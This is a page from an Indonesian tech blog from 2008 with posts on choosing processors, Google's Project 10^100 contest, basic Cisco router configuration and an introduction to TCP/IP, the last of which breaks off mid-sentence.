RSS : Articles / Comments


Defacing Mainhack Pict

Senin, September 29, 2008, Posted by bius, One Comment



ini apa ya kaka

cuman mau posting aja abis lagi bt bt bt bt bt bt akh Baca Selengkapnya

Tips Milih Processor Untuk PC anda

Kamis, September 25, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Bagaimana Memilih Processor?

Meski di pasaran ada banyak merk processor yang banyak beredar, namun kami mencoba menyempitkan pilihannya dengan membaginya menjadi dua bagian. Hal ini berdasarkan ketersediaan dan kebutuhan. Bagian yang pertama adalah processor Intel Pentium 4 family dan yang kedua AMD Athlon 64 Family.

Kedua merk processor tersebut merupakan merk yang paling banyak dicari dan digunakan oleh kebanyakan orang dan keduanya memiliki beberapa fitur yang cukup berbeda. Di antaranya adalah Intel menggunakan long instruction pipelines yang didesain menghasilkan skala kecepatan clock supertinggi. Sedangkan pada AMD sendiri tidak menggunakan fitur tersebut, melainkan lebih menggunakan fitur shorter Instruction pipelines yang menghasilkan efisiensi yang baik namun sayangnya tidak bisa menghasilkan skala kecepatan yang tinggi. Untuk kalangan umum pastinya kedua hal tersebut akan membingungkan, karenanya kami akan mencoba menjelaskan bagaimana kelebihan dan kerurangan dari masing-masing merk processor.



Intel Pentium 4 Family

Biasa disebut Pentium 4. Meski dalam satu keluarga namun memiliki kecepatan yang berbeda-beda. Demikian juga dengan socket yang digunakan. Versi terbanyak yang digunakan Pentium 4 adalah menggunakan socket 478. Pada versi terbarunya telah menggunakan socket LGA 775 untuk mendukung beberapa motherboard keluaran terbaru.

Prescott
Merupakan generasi pertama Pentium 4 yang memiliki 1 MB L2 cache dan memiliki kecepatan 3,8 GHz. Namun, pada processor ini memiliki kendala yang cukup signifikan, yaitu memiliki panas yang cukup tinggi. Dan processor ini belum mendukung operating system dan aplikasi 64-bit. Segi baiknya, processor ini memang memiliki kinerja yang baik untuk menunjang kebutuhan multiaplikasi dan gaming.

Pentium 4 Extreme Edition
Merupakan jajaran processor premium dari Intel, untuk CPU desktop PC. Yang terbaru juga telah menggunakan socket LGA 775 dan berjalan di atas 3,46 GHz dengan fitur 512 K L2 cache ditambah dengan 2 MB L3 cache dan FSB sebesar 1066 MHz. Ia juga tersedia dalam versi 64-bit CPU.

Pentium D
Keluarga CPU Intel yang memiliki arsitektur dual-core. Beberapa seri yang sudah tersedia, di antaranya Pentium D 840, 830, dan 820 yang memiliki clock dari 2,80 sampai 3,20 GHz dengan FSB 800 MHz. Dengan L2 cache yang dimilikinya 2x1 Mb. Dengan dual-core, diharapkan mampu melakukan pemrosesan data dengan waktu yang lebih singkat. Selain itu, processor ini telah dilengkapi dengan EMT64T (Extended Memory 64 Technology) yang mendukung operating system dan aplikasi 64-bit.

Jika Anda tertarik untuk membeli processor keluaran Intel, agaknya jajaran processor Pentium D adalah pilihan ideal. Dual-core dan dukungan 64-bit menjadi alasan utama. Karena ke depannya semua aplikasi dan operating system akan menggunakan 64-bit. Di samping harga jual processor ini terbilang cukup relevan, yaitu sekitar US$279.

AMD Athlon 64 Family
AMD memiliki tiga jenis processor dengan performa yang berbeda. Yaitu, Athlon 64 dan FX Series, juga Sempron. Meski dari ketiganya memiliki basic teknologi yang sama, namun beberapa fitur dan harga yang ditawarkan memiliki perbedaan yang cukup berarti.
Pada dasarnya, processor AMD Athlon 64 mampu menghasilkan kecepatan yang tinggi terhadap aplikasi yang menggunakan banyak floating point dan kebutuhan bandwidth yang besar. Mengapa demikian?

AMD Athlon 64
Pada processor ini memiliki dua versi. Versi yang pertama yang masih menggunakan memory single-channel. Yaitu Athlon 64 yang menggunakan socket 75. Sedangkan yang kedua menggunakan socket 939 dan sudah memiliki teknologi memory dual-channel. Untuk harga, sudah barang tentu Athlon 64 754 memiliki harga yang lebih murah dibanding 939. Keduanya memiliki L2 cache sebesar 1 MB, sedangkan untuk kecepatan yang ditawarkan beragam, mulai dari 2,4 GHz sampai dengan 3,0 GHz.

Athlon 64 FX
Processor ini merupakan processor yang paling tepat untuk menunjang para gamer, karena selain dilengkapi dengan L2 cache sebesar 1 MB dengan kecepatan terendah yang ditawarkan sebesar 2,6 GHz. Pada processor keluaran AMD baik Athlon 64 ataupun Athlon 64 FX sudah mendukung aplikasi dan operating system 64-bit. Dan kini AMD telah mengeluarkan processor dualcore, yaitu AMD Athlon 64 X2, masih menggunakan socket 939.

Core Logic Chipset

Seperti yang telah kami sebutkan di awal, salah satu bagian untuk memilih motherboard selain menentukan processor yang digunakan, core logic chipset juga bagian yang tidak kalah penting untuk dipertimbangkan. Mengapa demikian?

Jika diumpamakan sebuah motherboard adalah kota, maka core logic chipset merupakan pemerintah local yang melakukan pengaturan alur informasi. Chipset memiliki tugas yang amat vital. Ia akan memerintahkan apa yang harus dilakukan oleh port USB, juga menentukan seberapa cepat system mengakses memory. Dengan demikian fungsi dari core logic chipset sangatlah penting untuk menunjang kinerja komputer.

Sekarang ini, beberapa motherboard menggunakan dua skenario yang cukup berbeda. Skenario pertama adalah motherboard yang didesain untuk processor Intel Pentium 4. Masih mengadopsi cara lama, yaitu menggunakan memory controller yang tertanam di dalam chipset nortbridge.

Pada skenario ini, chipset pada motherboard bertugas sekaligus sebagai memory controller yang merupakan mesin pengontrol untuk mengatur semua kebutuhan yang ada. Memory controller terletak di dalam chipset northbridge yang berada dengan jarak yang relatif tidak terlalu jauh dari processor. Tujuannya untuk menghasilkan bus bandwidth memory yang besar.

Skenario yang kedua adalah motherboard untuk AMD Athlon 64, Athlon 64 FX dan Athlon 64 X2 yang memiliki perbedaan jauh dengan Intel. Pada motherboard AMD Athlon 64, memory controller tidak lagi terdapat pada nortbridge chipset, melainkan dipindahkan ke dalam processor.

Pada kondisi ini, bus memory controller bisa sama cepat dengan kecepatan core processor. Dengan demikian, menjadikan sebuah pasangan gigahertz yang cepat sehingga mampu menghasilkan kinerja yang jauh lebih cepat ketimbang skenario yang pertama.

Namun,ini bukan merupakan kemenangan secara mutlak, karena besarnya performa yang dimiliki oleh AMD memiliki kekurangan dalam fleksibilitas.

Intel memang memiliki fleksibilitas yang cukup baik. Contohnya jika Anda sekarang membeli processor Intel Pentium 4, Anda bisa menggunakan processor tersebut pada motherboard yang menggunakan DDR400. Demikian juga untuk motherboard DDR2/800
bahkan untuk motherboard DDR3, yang akan segera diluncurkan.

Hal tersebut tidak terjadi jika Anda menggunakan processor AMD Athlon 64 ataupun 64 FX karena controller-nya terikat pada satu teknologi memory saja. Sehingga Anda harus menyesuaikan memory yang Anda gunakan sesuai dengan controller yang terdapat secara terintegrasi di dalam processor.

Itulah salah satu alasan kenapa sampai sekarang ini AMD masih mengadopsi teknologi memory DDR 400. Karena selain ingin tetap memberikan fleksibilitas terhadap konsumennya, AMD juga beranggapan kemampuan bandwith memory yang dihasilkan DDR 400 masih mampu menangani semua kebutuhan proses computing saat ini.

Meskipun semua chipset mengacu pada memory controller, namun core logic chipset sendiri memiliki beberapa fungsi yang sangat penting. Yaitu performa USB, harddisk, dan seberapa cepat PCI dan VGA slot (AGP atau PCIe x16) dapat mentransfer data.
Baca Selengkapnya

Sayembara GOOGLE Inc.

Kamis, September 25, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

NEW YORK, KAMIS — Anda memiliki ide yang mampu mengubah dunia atau setidaknya membantu kemaslahatan umat? Segera kirim ide Anda ke www.project10tothe100.com. Dapatkan hadiah 10 juta dollar AS (sekitar Rp 93 miliar).


Ya, perusahaan raksasa internet Google Inc mengadakan sayembara adu brilian ide untuk merayakan HUT ke-10 dengan hadiah total 10 juta dollar AS. Syaratnya, ide itu harus benar-benar baru dan diyakini menguntungkan bagi kehidupan manusia.

Program itu dinamai Project 10^100 (dibaca 10 untuk ke-100) dan diumumkan melalui CNN, Kamis (25/9). Tim juri akan memilih lima pemenang dan akan diumumkan Februari 2009. Panitia menerima ide dalam 25 bahasa hingga 20 Oktober 2008.

"Ide ini bisa besar atau kecil, berteknologi atau sederhana tapi brilian. Tetapi, semuanya harus memiliki dampak. Kami sadar ada banyak ide brilian yang memerlukan dana dan dukungan untuk menjadi kenyataan," bunyi rilis Google.

Ide bermanfaat yang dimaksud Google adalah seperti penemuan alat Hippo Water Roller. Dikembangkan di Afrika, alat ini bisa mengangkut 24 galon air dan dapat digeser dengan mudah. Alat ini mempermudah warga setempat mengangkut air bersih ke rumahnya.


ONO
Sumber : CNN
Baca Selengkapnya

Pengenalan Cisco Router

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Komponen Dasar Router Cisco

Sebelum kita mulai melakukan setup konfigurasi router Cisco, langkah awal yang perlu kita ketahui adalah mengenal komponen dasar router Cisco. Sekalipun cisco memiliki berbagai model seperti 1600, 1750 sampai dengan model 7500, namun memiliki komponen dasarnya yang sama.

Prosesor

Seperti juga komputer, router Cisco memiliki prosesor alias central processing unit (CPU). Antara satu jenis router dengan router lainnya mungkin memiliki prosesor yang berlainan. Contoh prosesor yang dipergunakan oleh Cisco misalnya prosesor Motorolla 68030.

Memori

Ada 4 jenis memory pada router Cisco

· Read only Memory (ROM)

· Flash memory

· Random access memory (RAM)

· Non volatile RAM (NVRAM)

Seperti juga pada komputer, ROM pada router Cisco berisi program standar yang akan otomatis dijalankan pertama kali ketika dilakukan proses booting up. Program standar yang dimaksudkan adalah bukan IOS. Namun demikian pada beberapa jenis Cisco, di dalam ROM telah terdapat IOS yang lengkap, yang dapat dipergunakan pada kondisi darurat dimana IOS yang seharusnya ada tidak dapat bekerja denganbaik

Flash memory berfungsi untuk menyimpan IOS yang merupakan sistem operasi dari router Cisco.

RAM dipergunakan oleh router cisco untuk berbagai keperluan pemrosesan seperti buffering, temporary storage dan lain sebagainya

NVRAM berfungsi untuk menyimpan konfigurasi yang akan dibaca oleh IOS ketika router Cisco melakukan proses boot

Interface

Beberapa jenis interface yang disediakan oleh router Cisco antara lain:

· Ethernet

· Fast ethernet

· Token ring

· FDDI

· Low speed serial

· Fast serial

· ISDN BRI

Di dalam IOS, interface menggunakan format nama dan nomor, dimana nomornya dimulai dari nol (0). Namun demikian sintaks dari penamaan tersebut berbeda-beda tergantung dari jenis routernya.

Pada router cisco dimana modul interfacenya adalah tetap, misalnya router jenis 2500 series, maka sistem penamaanya adalah sebagai berikut:
Interface Urutan Port Nama interface
Serial 1 Serial0
Serial 2 Serial1
Serial 3 Serial2
Serial 4 Serial3

Tabel 3.1: penamaan interface dengan modul tetap

Pada router jenis lainnya seperti 7500 series dimana terdapat beberapa slot, maka sistem penamaannya adalah sebagai berikut:
Interface Slot Urutan Port Nama interface
Ethernet 5 1 Ethernet5/0
ethernet 5 2 Ethernet5/1

Tabel 3.2: penamaan interface dimana memiliki banyak slot

Pada router yang memiliki modul khusus seperti router Cisco 7500 series dengan modul Versatile Interface Processor di mana pada modul tersebut terdapat ethernet, maka sitem penamaannya menjadi lebih repot lagi. Misalnya Ethernet4/0/1 artinya adalah ethernet kedua pada port adapter pertama di dalam slot 4

Port Console

Semua router Cisco memiliki sebuah port console pada bagian belakangnya. Port console akan berfungsi sebagai gerbang akses komunikasi langsung ke dalam router Cisco. Standar port console menggunakan koneksi serial asynchronous EIA/TIA-232 atau lebih dikenal dengan sebutan RS-232.

Konektor fisik dari port console sendiri tergantung dari jenis routernya. Untuk router kelas kecil menengah umumnya menggunakan konektor jenis RJ45, sedangkan untukkelas yang lebih besar umumnya menggunakan DB25 sebagai konkeotrny.

Auxiliary port

Sebagian besar router Cisco memiliki port auxiliary. Seperti juga pada port console, port auxiliary menggunakan standar koneksi serial asynchronous EIA/TIA-232 untuk komunikasi langsung ke router Cisco. Port auxiliary sendiri lebih sering dipergunakan untuk alternatif akses langsung ke router cisco melalui modem, misalnya pada kondisi dimana network path dari router terganggu, maka administrator dapat memanfaatkan mengakses router Cisco melalui modem yang terkoneksi pada port auxiliary.

File konfigurasi

Seperti dijelaskan sebelumnya, ada 2 jenis konfigurasi IOS, yaitu:

· Konfigurasi yang sedang running dan menetap pada RAM

· Konfigurasi startup dan menetap pada NVRAM

Kita dapat melakukan perubahan setiap saat pada konfigurasi IOS yang sedang aktif atau running. Dampak atas perubahan pun langsung terjadi seketika. Tetapi jangan lupa, setiap perubahan pada konfigurasi yang sedang running harus di simpan di dalam NVRAM sebagai konfigurasi startup

Melakukan konfigurasi Router Cisco dari PC

Jika anda bermaksud untuk mengkonfigur router cisco dari PC, maka anda perlu software komunikasi yang disebut software terminal emulasi. Melalui software ini anda dapat mengirimkan perintah-perintah Cisco ke dalam router cisco Anda. Oh, Anda tidak usah repot-repot membeli software terminal emulasi, karena biasanya sudah ada di dalam PC Anda
PC Operating System Software
Windows 95, 98, Windows NT HyperTerminal (included with Windows software)
Windows 3.1 Terminal (included with Windows software)
Macintosh ProComm, VersaTerm (supplied separately)

Selanjutnya untuk dapat berkomunikasi dan mengakses router cisco, anda harus masih perlu melakukan setup terhadap software terminal emulasi sebagai berikut:

· 9600 baud

· 8 data bits

· No parity

· 1 stop bit

· No flow control

Sebenarnya ada juga cara lain tanpa harus menggunakan software emulasi di atas, yaitu melalui aplikasi telnet. Syaratnya adalah router cisconya harus sudah di setup dan memiliki nomor IP. Aplikasi telnet sendiri biasanya juga sudah tersedia di dalam windows Anda.

Memahami mode perintah

Cisco mengenal aneka mode perintah. Pada masing-masing mode memiliki tujuan dan perintah yang berbeda satu sama lainnya. Perhatikan tabel berikut ini

Mode


Metode Akses


Bentuk Prompt


Metode Exit


Keterangan1
User EXEC Session awal router cisco
router> Ketik perintah logout Gunakan mode ini untuk

* Change terminal settings.
* Perform basic tests.
* Display system information.

Privileged EXEC Masukkan perintah enable pada mode user EXEC
1700#

* Untuk exit dari privileged EXEC mode ke user EXEC mode, ketikkan perintah disable
* Untuk masuk ke global configuration mode, ketikkan perintah configure.

Gunakan mode ini untuk:

* Konfigur parameter operasional router

Global configuration Untuk masuk ke global configuration mode, ketikkan perintah configure
1700(config)#

* Untuk exit ke privileged EXEC mode, ketik perintah exit atau command, atau ketik Ctrl-Z.
* Untuk masuk ke mode konfigurasi interface, masukkan perintah interface.

Gunakan mode ini untuk mengkonfigurasi parameter yang akan berdampak pada router secara keseluruhan.
Interface configuration Masukkan perintah interface .
1700(config-if)#

* Untuk kembali ke mode konfigurasi global, ketik perintah end
* Untuk ke privileged EXEC mode, masukkan perintah exit atau Ctrl-Z.
* Ke sub interface dengan perintah interface

Gunakan mode ini untuk meng-konfigur parameter yang beragam bagi interfface seperti:

* Ethernet interface.
* Serial interface.
* ISDN interface.

Router configuration Masukkan perintah yang bersesuaian
1700(config-Router)#

* Untuk kembali ke mode konfigurasi global, ketik perintah end
* Untuk ke privileged EXEC mode, masukkan perintah exit atau Ctrl-Z.

Gunakan mode ini untuk mengtkonfigurasi IP routing protocol, misalnya.
Line configuration Ketik perintah line vty di mode konfigurasi global.
1700(config-line)#

* Untuk kembali ke mode konfigurasi global, ketik perintah end
* Untuk ke privileged EXEC mode, masukkan perintah exit atau Ctrl-Z.

Gunaka mode ini untuk melakukan konfigurasi terminal

Masih bingung soal penggunaan mode perintah ? mari kita mulai saja menggunakan Cisco !

Mulai menggunakan Cisco

Untuk memulai melakukan perubahan konfigurasi pada Cisco maka kita harus berada dalam mode perintah konfigurasi. Berikut ini adalah langkah-langkah untuk masuk ke dalam mode perintah konfigurasi dengan menggunakan emulasi terminal pada PC yang terhubung ke port console dari router Cisco

Setelah router di boot up, biasanya akan ditampilkan pertanyaan seperti di bawah ini, jawab saja dengan No:

Would you like to enter the initial configuration dialog [yes] : no

.

.

router>

perhatikan, prompt awal router adalah router> atau sering disebut mode user EXEC. Kira-kira seperti mode $ pada sistem operasi UNIX lah. Mode router> seperti $ di sistem Unix. Mode ini dipergunakan sebagai prompt user pertama kali masuk router cisco. Biasanya dipakai oleh operator atau user biasa lainnya untuk keperluan basic test dari router ke perangkat lainnya, seperti ping dan telnet.

Tambahan, router> merupakan parameter yang dapat kita ubah sesuai dengan keinginan kita seperti prompt pada DOS.

Router>

1600>

1700>

pada mode user EXEC terdapat banyak perintah yang tersedia. Nah untuk melihat syntax dari perintah tersebut dapat menggunakan perintah help yang tersedia sebagai berikut:

router> ?

hmm, hasilnya adalah list perintah yang dapat kita pakai, misalnya ping, telnet dll.

Untuk mengetahui bagaimana syntax dari perintah tersebut, maka dapat digunakan perintah sederhana berikut:

Router> s?

Router> show ?

Router>show conf?

Ingat, di dalam cisco system kita dapat me-ringkas perintah seperti di contohkan di atas, yaitu show configuration cukup dipanggil, misalnya perintah show configuration menjadi sh conf.

Selanjutnya mengingat pentingnya fungsi perubahan konfigurasi, biasanya untuk masuk ke mode perintah konfigurasi selalu ditanyakan passwordnya. Berikut ini cara masuk ke mode perintah konfigurasi.

1700> enable

password: ******

router #

Sepintas lalu seperti perintah untuk menjadi administrator pada Unix, yaitu menggunakan perintah su. Dan memang seperti itulah kira-kira kegunaan prompt router #

Kemudian apabila kita akan memulai melakukan modifikasi terhadap konfigurasi, maka yang yang harus kita lakukan adalah masuk ke dalam mode konfigurasi

Router# configure terminal

Router (config) #

Siap deh untuk mengobok-obok konfigurasi cisco system.

Jangan lupa sesudah melakukan setting konfigurasi, dilakukan penyimpanan data alias save konfigurasi. Adapun caranya ada beberapa cara, antara lain:

Router# copy running-config startup-config

Building configuration . . .

Well, kita tunggu beberapa saat untuk menyimpan konfigurasi ke NVRAM. Selanjutnya setelah konfigurasi disimpan, biasanya terdapat layar konfirmasi sebagai berikut:

[OK]

router#


Silahkan dowload ROUTER SIMULATOR dari CISCO
Baca Selengkapnya

Konsep Dasar TCP IP

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Konsep Dasar TCP IP??? Nihh Sedikit referensi dari tetangga sebelah

1. Apa itu TCP/IP ?
——————-

TCP/IP adalah salah satu jenis protokol* yg memungkinkan kumpulan komputer untuk berkomunikasi dan bertukar data didalam suatu network (jaringan).

*******************************************************
Merupakan himpunan aturan yg memungkinkan komputer untuk berhubungan antara satu dengan yg lain, biasanya berupa bentuk / waktu / barisan /pemeriksaan error saat transmisi data.
*******************************************************

2. Apa yg membuat TCP/IP menjadi penting ?
——————————————

Karena TCP/IP merupakan protokol yg telah diterapkan pada hampir semua perangkat keras dan sistem operasi. Tidak ada rangkaian protokol lain yg tersedia pada semua sistem berikut ini :

a. Novel Netware.
b. Mainframe IBM.
c. Sistem digital VMS.
d. Server Microsoft Windows NT
e. Workstation UNIX, LinuX, FreeBSD
f. Personal komputer DOS.

3. Bagaimana awalnya keberadaan TCP/IP ?
—————————————-


Konsep TCP/IP berawal dari kebutuhan DoD (Departement of Defense) AS akan suatu komunikasi di antara berbagai variasi komputer yg telah ada. Komputer-komputer DoD ini seringkali harus berhubungan antara satu organisasi peneliti dg organisasi peneliti lainnya, dan harus tetap berhubungan sehingga pertahanan negara tetap berjalan selama terjadi bencana, seperti ledakan nuklir. Oleh karenanya pada tahun 1969 dimulailah penelitian terhadap serangkaian protokol TCP/IP. Di antara tujuan-tujuan penelitian ini adalah sebagai berikut :

1. Terciptanya protokol-protokol umum, DoD memerlukan suatu protokol yg dapat ditentukan untuk semua jaringan.
2. Meningkatkan efisiensi komunikasi data.
3. Dapat dipadukan dengan teknologi WAN (Wide Area Network) yg telah ada.
4. Mudah dikonfigurasikan.

Tahun 1968 DoD ARPAnet (Advanced Reseach Project Agency) memulai penelitian yg kemudian menjadi cikal bakal packet switching . Packet switching inilah yg memungkinkan komunikasi antara lapisan network (dibahas nan
ti) dimana data dijalankan dan disalurkan melalui jaringan dalam bentuk unit-unit kecil yg disebut packet*. Tiap-tiap packet ini membawa informasi alamatnya masing-masing yg ditangani dengan khusus oleh jaringan tersebut dan tidak tergantung dengan paket-paket lain. Jaringan yg dikembangkan ini, yg menggunakan ARPAnet sebagai tulang punggungnya, menjadi terkenal sebagai internet.

Protokol-protokol TCP/IP dikembangkan lebih la
njut pada awal 1980 dan menjadi protokol-protokol standar untuk ARPAnet pada tahun 1983. Protokol-protokol ini mengalami peningkatan popularitas di komunitas pemakai ketika TCP/IP digabungkan menjadi versi 4.2 dari BSD (Berkeley Standard Distribution) UNIX. Versi ini digunakan secara luas pada institusi penelitian dan pendidikan dan digunakan sebagai dasar dari beberapa penerapan UNIX komersial, termasuk SunOS dari Sun dan Ultrix dari Digital. Karena BSD UNIX mendirikan hubungan antara TCP/IP dan sistem operasi UNIX, banyak implementasi UNIX sekarang menggabungkan
TCP/IP.

****************************************************
unit informasi yg mana jaringan berkomunikasi. Tiap-tiap paket berisi identitas (header) station pengirim dan penerima, informasi error-
control, permintaan suatu layanan dalam lapisan network, informasi bagaimana menangani permintaan dan sembarang data penting yg harus ditransfer.
****************************************************

4. Layanan apa saja yg diberikan oleh TCP/
IP ?
———————————————-

Berikut ini adalah layanan “tradisional” yg dilakukan TCP/IP :

a. Pengiriman file (file transfer). File Transfer Protokol (FTP)
memungkinkan pengguna komputer yg satu untuk dapat mengirim ataupun menerima file ke komputer jaringan. Karena masalah keamanan data, maka FTP seringkali memerlukan nama pengguna (user name) dan password, meskipun banyak juga FTP yg dapat diakses melalui
anonymous, alias tidak berpassword. (lihat RFC 959 untuk spesifikasi FTP)

b. Remote login.
Network terminal Protokol (telnet) memungkinkan pengguna komputer dapat melakukan log in ke dalam suatu komputer
didalam suatu jaringan. Jadi hal ini berarti bahwa pengguna menggunakan komputernya sebagai perpanjangan tangan dari komputer
jaringan tersebut.( lihat RFC 854 dan 855 untuk spesifikasi telnet lebih lanjut)

c. Computer mail. Digunakan untuk menerapkan sistem elektronik mail. (lihat RFC 821 dan 822)

d. Network File
System (NFS). Pelayanan akses file-file jarak jauh yg memungkinkan klien-klien untuk mengakses file-file pada komputer
jaringan jarak jauh walaupun file tersebut disimpan secara lokal. (lihat RFC 1001 dan 1002 untuk keterangan lebih lanjut)

e. remote execution. Memungkinkan pengguna komputer untuk menjalankan suatu program didalam komp
uter yg berbeda. Biasanya berguna jika pengguna menggunakan komputer yg terbatas, sedangkan ia memerlukan sumber yg banyak dalam suatu system komputer. Ada beberapa jenis remote execution, ada yg berupa perintah-perintah dasar saja, yaitu yg dapat dijalankan dalam system komputer yg sama dan ada pula yg menggunakan “prosedure remote call system”, yg memungkinkan program untuk memanggil subroutine yg akan dijalankan di system komputer yg berbeda. (sebagai contoh dalam Berkeley UNIX ada perintah “rsh” dan “rexec”)

f. name servers. Nama database alamat yg digunakan pada internet (lihat RFC 822 dan 823 yg menjelaskan mengenai penggunaan protokol name server yg bertujuan untuk menentukan nama host di internet.)

************************************************************************

RFC (Request For Comments) adalah merupakan standar yg digunakan dalam internet, meskipun ada juga isinya yg merupakan bahan diskusi ataupun omong kosong belaka. Diterbitkan oleh IAB (Internet Activities Board) yg merupakan komite independen para peneliti dan profesional yg mengerti teknis, kondisi dan evolusi sistem internet. Sebuah surat yg mengikuti nomor RFC menunjukan status RFC :

S: standard, standar resmi bagi internet
DS: Draft standard, protokol tahap akhir sebelum disetujui sebagai standar
PS: Proposed Standard, protokol pertimbangan untuk standar masa depan
I: Informational, berisikan bahan-bahan diskusi yg sifatnya informasi
E: Experimental, protokol dalam tahap percobaan tetapi bukan pada jalur standar.
H: Historic, protokol-protokol yg telah digantikan atau tidak lagi dipertimbankan utk standarisasi.

************************************************************************

5. Bagaimanakah bentuk arsitektur dari TCP/IP itu ?
—————————————————

Dikarenakan TCP/IP adalah serangkaian protokol di mana setiap protokol melakukan sebagian dari keseluruhan tugas komunikasi jaringan, maka tentulah implementasinya tak lepas dari arsitektur jaringan itu sendiri. Arsitektur rangkaian protokol TCP/IP mendifinisikan berbagai cara agar TCP/IP dapat saling menyesuaikan.

Karena TCP/IP merupakan salah satu lapisan protokol OSI * (Open System Interconnections), berarti bahwa hierarki TCP/IP merujuk kepada 7 lapisan OSI tersebut. Berikut adalah model referensi OSI 7 lapisan, yg mana setiap lapisan menyediakan tipe khusus pelayanan jaringan :

Peer process
|Application layer ||Application layer |
|Presentation layer||Presentation layer|
|Session layer ||Session layer |
|Transport layer ||Transport layer |
|Network layer ||Network layer |
|Data link layer ||Data link layer |
|Physical layer ||Physical layer |

Tiga lapisan teratas biasa dikenal sebagai “upper lever protocol” sedangkan empat lapisan terbawah dikenal sebagai “lower level protocol”. Tiap lapisan berdiri sendiri tetapi fungsi dari masing-masing lapisan bergantung dari keberhasilan operasi layer sebelumnya. Sebuah lapisan pengirim hanya perlu berhubungan dengan lapisan yang sama di penerima (jadi misalnya lapisan data link penerima hanya berhubungan dengan data link pengirim) selain dengan satu layer di atas atau dibawahnya (misalnya lapisan network berhubungan dengan lapisan transport diatasnya atau dengan lapisan data link dibawahnya).

Model dengan menggunakan lapisan ini merupakan sebuah konsep yg penting karena suatu fungsi yg rumit yg berkaitan dengan komunikasi dapat dipecahkan menjadi sejumlah unit yg lebih kecil. Tiap lapisan bertugas memberikan layanan tertentu pada lapisan diatasnya dan juga melindungi lapisan diatasnya dari rincian cara pemberian layanan tersebut. Tiap lapisan harus transparan sehingga modifikasi yg dilakukan atasnya tidak akan menyebabkan perubahan pada lapisan yang lain. Lapisan menjalankan perannya dalam pengalihan data dengan mengikuti peraturan yang berlaku untuknya dan hanya berkomunikasi dengan lapisan yang setingkat.
Akibatnya sebuah layer pada satu sistem tertentu hanya akan berhubungan dengan lapisan yang sama dari sistem yang lain. Proses ini dikenal sebagai “Peer process”. Dalam keadaan sebenarnya tidak ada data yang langsung dialihkan antar lapisan yang sama dari dua sistem yang berbeda ini. Lapisan atas akan memberikan data dan kendali ke lapisan dibawahnya sampai lapisan yang terendah dicapai. Antara dua lapisan yang berdekatan terdapat “interface” (antarmuka). Interface ini mendifinisikan operasi dan layanan yang diberikan olehnya ke lapisan lebih atas. Tiap lapisan harus melaksanakan sekumpulan fungsi khusus yang dipahami dengan sempurna. Himpunan lapisan dan protokol dikenal sebagai “arsitektur jaringan”.

Pengendalian komunikasi dalam bentuk lapisan menambah overhead karena tiap lapisan berkomunikasi dengan lawannya melalui “header”. Walaupun rumit tetapi fungsi tiap lapisan dapat dibuat dalam bentuk modul sehingga kerumitan dapat ditanggulangi dengan mudah.
Disini kita tidak akan membahas model OSI secara mendalam secara keseluruhannya, karena protokol TCP/IP tidak mengikuti benar model referensi OSI tersebut. Walaupun demikian, TCP/IP model akan terlihat seperti ini :

Model OSI model internet

Sekarang mari kita bahas keempat lapisan tersebut.

a. Network Access
Lapisan ini hanya menggambarkan bagaimana data dikodekan menjadi sinyal-sinyal dan karakteristik antarmuka tambahan media.

b. Internet layer/ network layer
Untuk mengirimkan pesan pada suatu internetwork (suatu jaringan yang mengandung beberapa segmen jaringan), tiap jaringan harus secara unik diidentifikasi oleh alamat jaringan. Ketika jaringan menerima suatu pesan dari lapisan yang lebih atas, lapisan network akan menambahkan header pada pesan yang termasuk alamat asal dan tujuan jaringan. Kombinasi dari data dan lapisan network disebut “paket”. Informasi alamat jaringan digunakan untuk mengirimkan pesan ke jaringan yang benar, setelah pesan tersebut sampai pada jaringan yg benar, lapisan data link dapat menggunakan alamat node untuk mengirimkan pesan ke node tertentu.

meneruskan paket ke jaringan yang benar disebut “routing” dan peralatan yang meneruskan paket adalah “routers”. Suatu antar jaringan mempunyai dua tipe node :

- “End nodes”, menyediakan pelayanan kepada pemakai. End nodes menggunakan lapisan network utk menambah informasi alamat jaringan kepada paket, tetapi tidak melakukan routing. End nodes kadang-kadang disebut “end system” (istilah OSI) atau “host” (istilah TCP/IP)

- Router memasukan mekanisme khusus untuk melakukan routing. Karena routing merupakan tugas yg kompleks, router biasanya merupakan peralatan tersendiri yg tidak menyediakan pelayanan kepada pengguna akhir. Router kadang-kadang disebut “intermediate system” (istilah OSI) atau “gateway” (istilah TCP/IP).

Selain itu juga lapisan ini bertanggung jawab untuk pengiriman data melalui antar jaringan. Protokol lapisan intenet yang utama adalah
internet protokol, IP (RFC 791, lihat juga RFC 919, 922,950). IP menggunakan protokol-protokol lain untuk tugas-tugas khusus internet.
ICMP(dibahas nanti) digunakan untuk mengirimkan pesan-pesan ke lapisan host ke host. Adapun fungsi IP :

1. Pengalamatan
2. Fragmentasi datagram pada antar jaringan
3. Pengiriman datagram pada antar jaringan
c. Transport layer /host to host

Salah satu tanggung jawab lapisan transport adalah membagi pesan-pesan menjadi fragment-fragment yang cocok dengan pembatasan ukuran yg dibentuk oleh jaringan. Pada sisi penerima, lapisan transport menggabungkan kembali fragment untuk mengembalikan pesan aslinya, sehingga dapat diketahui bahwa lapisan transport memerlukan proses khusus pada satu komputer ke proses yg bersesuaian pada komputer tujuan. Hal ini dikenal sebagai Service Access Point (SAP) ID kepada setiap paket (berlaku pada model OSI, istilah TCP/IP untuk SAP ini disebut port *).

Mengenali pesan-pesan dari beberapa proses sedemikian rupa sehingga pesan tersebut dikirimkan melalui media jaringan yg sama disebut
“multiplexing”. Prosedur mengembalikan pesan dan mengarahkannya pada proses yg benar disebut “demultiplexing”.
Tanggung javab lapisan transport yg paling berat dalam hal pengiriman pesan adalah mendeteksi kesalahan dalam pengiriman data tersebut. Ada dua kategori umum deteksi kesalahan dapat dilakukan oleh lapisan transport :

a. Reliable delivery, berarti kesalahan tidak dapat terjadi, tetapi kesalahan akan dideteksi jika terjadi. Pemulihan kesalahan dilakukan
dengan jalan memberitahukan lapisan atas bahwa kesalahan telah terjadi dan meminta pengirimna kembali paket yg kesalahannya terdeteksi.
b. Unreliable delivery, bukan berarti kesalahan mungkin terjadi, tetapi menunjukkan bahwa lapisan transport tidak memeriksa kesalahan
tersebut. Karena pemeriksaan kesalahan memerlukan waktu dan mengurangi penampilan jaringan. Biasanya kategori ini digunakan jika
setiap paket mengandung pesan yg lengkap, sedangkan reliable delivery, jika mengandung banyak paket. Unreliable delivery, sering
